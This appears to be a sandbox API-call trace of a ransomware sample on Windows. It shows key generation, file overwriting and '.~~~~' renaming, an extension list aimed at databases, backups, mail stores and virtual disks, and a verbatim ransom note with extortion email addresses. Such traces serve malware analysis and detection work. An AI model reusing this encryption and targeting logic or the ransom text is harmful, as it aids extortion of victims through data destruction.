	[0085.879] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0085.880] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0085.880] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0085.881] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0085.881] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0085.881] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2826fd8
	[0085.881] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20587081135) returned 1
	[0085.881] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9d0088d0, dwHighDateTime=0x1d60e1e)) 
	[0085.881] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0085.881] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0085.881] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0085.881] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a61d0
	[0085.881] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0085.881] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a61d0 | out: hHeap=0x300000) returned 1
	[0085.881] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0085.881] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0085.881] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ba8f8
	[0085.881] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0085.881] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.881] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ba8f8 | out: hHeap=0x300000) returned 1
	[0085.881] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0085.882] GetLastError () returned 0x0
	[0085.882] GetLastError () returned 0x0
	[0085.882] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0085.882] GetLastError () returned 0x0
	[0085.882] GetLastError () returned 0x0
	[0085.913] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffee1c9, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0085.913] WriteFile (in: hFile=0x124, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x11e37, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x24dfec0*=0x11e37, lpOverlapped=0x0) returned 1
	[0085.914] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0085.914] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.914] WriteFile (in: hFile=0x124, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0085.914] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0085.914] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0085.915] CloseHandle (hObject=0x124) returned 1
	[0085.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f58f0
	[0085.963] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.elm.~~~~")) returned 1
	[0085.992] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f58f0 | out: hHeap=0x300000) returned 1
	[0085.992] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0085.992] GetLastError () returned 0x0
	[0085.995] RtlWakeConditionVariable () returned 0x365f70
	[0085.995] GetCurrentThreadId () returned 0x3a4
	[0085.997] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0085.997] WriteFile (in: hFile=0x128, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x24dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x24dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0085.999] CloseHandle (hObject=0x128) returned 1
	[0085.999] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bae38 | out: hHeap=0x300000) returned 1
	[0085.999] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa460 | out: hHeap=0x300000) returned 1
	[0085.999] RtlWakeConditionVariable () returned 0x365f70
	[0085.999] GetCurrentThreadId () returned 0x3a4
	[0085.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", lpSrch=".scr") returned 0x0
	[0085.999] lstrlenW (lpString=".cmd") returned 4
	[0085.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", lpSrch=".cmd") returned 0x0
	[0085.999] lstrlenW (lpString=".dll") returned 4
	[0085.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", lpSrch=".dll") returned 0x0
	[0085.999] lstrlenW (lpString=".bat") returned 4
	[0085.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", lpSrch=".bat") returned 0x0
	[0085.999] lstrlenW (lpString=".cpl") returned 4
	[0086.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", lpSrch=".cpl") returned 0x0
	[0086.000] lstrlenW (lpString=".sys") returned 4
	[0086.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", lpSrch=".sys") returned 0x0
	[0086.000] lstrlenW (lpString=".msc") returned 4
	[0086.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", lpSrch=".msc") returned 0x0
	[0086.000] lstrlenW (lpString=".com") returned 4
	[0086.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", lpSrch=".com") returned 0x0
	[0086.000] lstrlenW (lpString=".lnk") returned 4
	[0086.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", lpSrch=".lnk") returned 0x0
	[0086.000] lstrlenW (lpString=".msp") returned 4
	[0086.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", lpSrch=".msp") returned 0x0
	[0086.000] lstrlenW (lpString=".pif") returned 4
	[0086.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", lpSrch=".pif") returned 0x0
	[0086.000] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0086.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0086.000] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0086.001] lstrlenW (lpString=".sqb") returned 4
	[0086.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", lpSrch=".sqb") returned 0x0
	[0086.001] lstrlenW (lpString=".ost") returned 4
	[0086.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", lpSrch=".ost") returned 0x0
	[0086.001] lstrlenW (lpString=".txt") returned 4
	[0086.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", lpSrch=".txt") returned 0x0
	[0086.001] lstrlenW (lpString=".mdt") returned 4
	[0086.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", lpSrch=".mdt") returned 0x0
	[0086.001] lstrlenW (lpString=".BDB") returned 4
	[0086.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", lpSrch=".BDB") returned 0x0
	[0086.001] lstrlenW (lpString=".eql") returned 4
	[0086.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", lpSrch=".eql") returned 0x0
	[0086.001] lstrlenW (lpString=".DBF") returned 4
	[0086.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", lpSrch=".DBF") returned 0x0
	[0086.001] lstrlenW (lpString=".EQL") returned 4
	[0086.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", lpSrch=".EQL") returned 0x0
	[0086.001] lstrlenW (lpString=".FDB") returned 4
	[0086.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", lpSrch=".FDB") returned 0x0
	[0086.001] lstrlenW (lpString=".EDB") returned 4
	[0086.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", lpSrch=".EDB") returned 0x0
	[0086.001] lstrlenW (lpString=".DACPAC") returned 7
	[0086.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", lpSrch=".DACPAC") returned 0x0
	[0086.002] lstrlenW (lpString=".VHD") returned 4
	[0086.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", lpSrch=".VHD") returned 0x0
	[0086.002] lstrlenW (lpString=".DBV") returned 4
	[0086.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", lpSrch=".DBV") returned 0x0
	[0086.002] lstrlenW (lpString=".dacpac") returned 7
	[0086.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", lpSrch=".dacpac") returned 0x0
	[0086.002] lstrlenW (lpString=".sdf") returned 4
	[0086.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", lpSrch=".sdf") returned 0x0
	[0086.002] lstrlenW (lpString=".accdb") returned 6
	[0086.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", lpSrch=".accdb") returned 0x0
	[0086.002] lstrlenW (lpString=".DBX") returned 4
	[0086.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", lpSrch=".DBX") returned 0x0
	[0086.002] lstrlenW (lpString=".MDT") returned 4
	[0086.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", lpSrch=".MDT") returned 0x0
	[0086.002] lstrlenW (lpString=".SQB") returned 4
	[0086.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", lpSrch=".SQB") returned 0x0
	[0086.002] lstrlenW (lpString=".vhd") returned 4
	[0086.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", lpSrch=".vhd") returned 0x0
	[0086.002] lstrlenW (lpString=".bac") returned 4
	[0086.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", lpSrch=".bac") returned 0x0
	[0086.002] lstrlenW (lpString=".mdf") returned 4
	[0086.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", lpSrch=".mdf") returned 0x0
	[0086.002] lstrlenW (lpString=".BAK") returned 4
	[0086.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", lpSrch=".BAK") returned 0x0
	[0086.002] lstrlenW (lpString=".BAC") returned 4
	[0086.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", lpSrch=".BAC") returned 0x0
	[0086.003] lstrlenW (lpString=".dbs") returned 4
	[0086.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", lpSrch=".dbs") returned 0x0
	[0086.003] lstrlenW (lpString=".vhdx") returned 5
	[0086.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", lpSrch=".vhdx") returned 0x0
	[0086.003] lstrlenW (lpString=".NDF") returned 4
	[0086.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", lpSrch=".NDF") returned 0x0
	[0086.003] lstrlenW (lpString=".dat") returned 4
	[0086.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", lpSrch=".dat") returned 0x0
	[0086.003] lstrlenW (lpString=".DBS") returned 4
	[0086.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", lpSrch=".DBS") returned 0x0
	[0086.003] lstrlenW (lpString=".CKP") returned 4
	[0086.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", lpSrch=".CKP") returned 0x0
	[0086.003] lstrlenW (lpString=".edb") returned 4
	[0086.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", lpSrch=".edb") returned 0x0
	[0086.003] lstrlenW (lpString=".PST") returned 4
	[0086.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", lpSrch=".PST") returned 0x0
	[0086.003] lstrlenW (lpString=".dbf") returned 4
	[0086.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", lpSrch=".dbf") returned 0x0
	[0086.003] lstrlenW (lpString=".SQL") returned 4
	[0086.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", lpSrch=".SQL") returned 0x0
	[0086.003] lstrlenW (lpString=".pst") returned 4
	[0086.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", lpSrch=".pst") returned 0x0
	[0086.003] lstrlenW (lpString=".dbv") returned 4
	[0086.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", lpSrch=".dbv") returned 0x0
	[0086.004] lstrlenW (lpString=".SDF") returned 4
	[0086.004] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", lpSrch=".SDF") returned 0x0
	[0086.004] lstrlenW (lpString=".dtxs") returned 5
	[0086.004] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", lpSrch=".dtxs") returned 0x0
	[0086.004] lstrlenW (lpString=".db3") returned 4
	[0086.004] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", lpSrch=".db3") returned 0x0
	[0086.004] lstrlenW (lpString=".OST") returned 4
	[0086.004] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", lpSrch=".OST") returned 0x0
	[0086.004] lstrlenW (lpString=".dbx") returned 4
	[0086.004] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", lpSrch=".dbx") returned 0x0
	[0086.004] lstrlenW (lpString=".DB3") returned 4
	[0086.004] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", lpSrch=".DB3") returned 0x0
	[0086.004] lstrlenW (lpString=".DAT") returned 4
	[0086.004] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", lpSrch=".DAT") returned 0x0
	[0086.004] lstrlenW (lpString=".VHDX") returned 5
	[0086.004] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", lpSrch=".VHDX") returned 0x0
	[0086.004] lstrlenW (lpString=".ndf") returned 4
	[0086.004] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", lpSrch=".ndf") returned 0x0
	[0086.004] lstrlenW (lpString=".DB") returned 3
	[0086.004] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", lpSrch=".DB") returned 0x0
	[0086.004] lstrlenW (lpString=".sql") returned 4
	[0086.004] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", lpSrch=".sql") returned 0x0
	[0086.004] lstrlenW (lpString=".MYD") returned 4
	[0086.004] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", lpSrch=".MYD") returned 0x0
	[0086.004] lstrlenW (lpString=".DBT") returned 4
	[0086.005] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", lpSrch=".DBT") returned 0x0
	[0086.005] lstrlenW (lpString=".ACCDB") returned 6
	[0086.005] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", lpSrch=".ACCDB") returned 0x0
	[0086.005] lstrlenW (lpString=".fdb") returned 4
	[0086.005] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", lpSrch=".fdb") returned 0x0
	[0086.005] lstrlenW (lpString=".bak") returned 4
	[0086.005] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", lpSrch=".bak") returned 0x0
	[0086.005] lstrlenW (lpString=".myd") returned 4
	[0086.005] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", lpSrch=".myd") returned 0x0
	[0086.005] lstrlenW (lpString=".DTXS") returned 5
	[0086.005] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", lpSrch=".DTXS") returned 0x0
	[0086.005] lstrlenW (lpString=".ckp") returned 4
	[0086.005] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", lpSrch=".ckp") returned 0x0
	[0086.005] lstrlenW (lpString=".dbt") returned 4
	[0086.005] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", lpSrch=".dbt") returned 0x0
	[0086.005] lstrlenW (lpString=".db") returned 3
	[0086.005] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", lpSrch=".db") returned 0x0
	[0086.005] lstrlenW (lpString=".TXT") returned 4
	[0086.005] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", lpSrch=".TXT") returned 0x0
	[0086.005] lstrlenW (lpString=".MDF") returned 4
	[0086.005] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", lpSrch=".MDF") returned 0x0
	[0086.005] lstrlenW (lpString=".bdb") returned 4
	[0086.005] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", lpSrch=".bdb") returned 0x0
	[0086.006] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0086.006] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0086.006] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0086.006] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0086.006] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0086.007] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0086.007] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0086.007] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0086.007] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0086.007] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce6f8
	[0086.007] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20599723244) returned 1
	[0086.007] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9d1393d0, dwHighDateTime=0x1d60e1e)) 
	[0086.007] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0086.007] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0086.007] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0086.007] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a6320
	[0086.007] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0086.007] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6320 | out: hHeap=0x300000) returned 1
	[0086.008] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0086.008] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0086.008] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f3d28
	[0086.008] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0086.008] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0086.008] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3d28 | out: hHeap=0x300000) returned 1
	[0086.008] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0086.008] GetLastError () returned 0x0
	[0086.008] GetLastError () returned 0x0
	[0086.008] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0086.008] GetLastError () returned 0x0
	[0086.008] GetLastError () returned 0x0
	[0086.010] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffffc57, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0086.011] WriteFile (in: hFile=0x128, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x3a9, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x24dfec0*=0x3a9, lpOverlapped=0x0) returned 1
	[0086.011] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0086.011] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
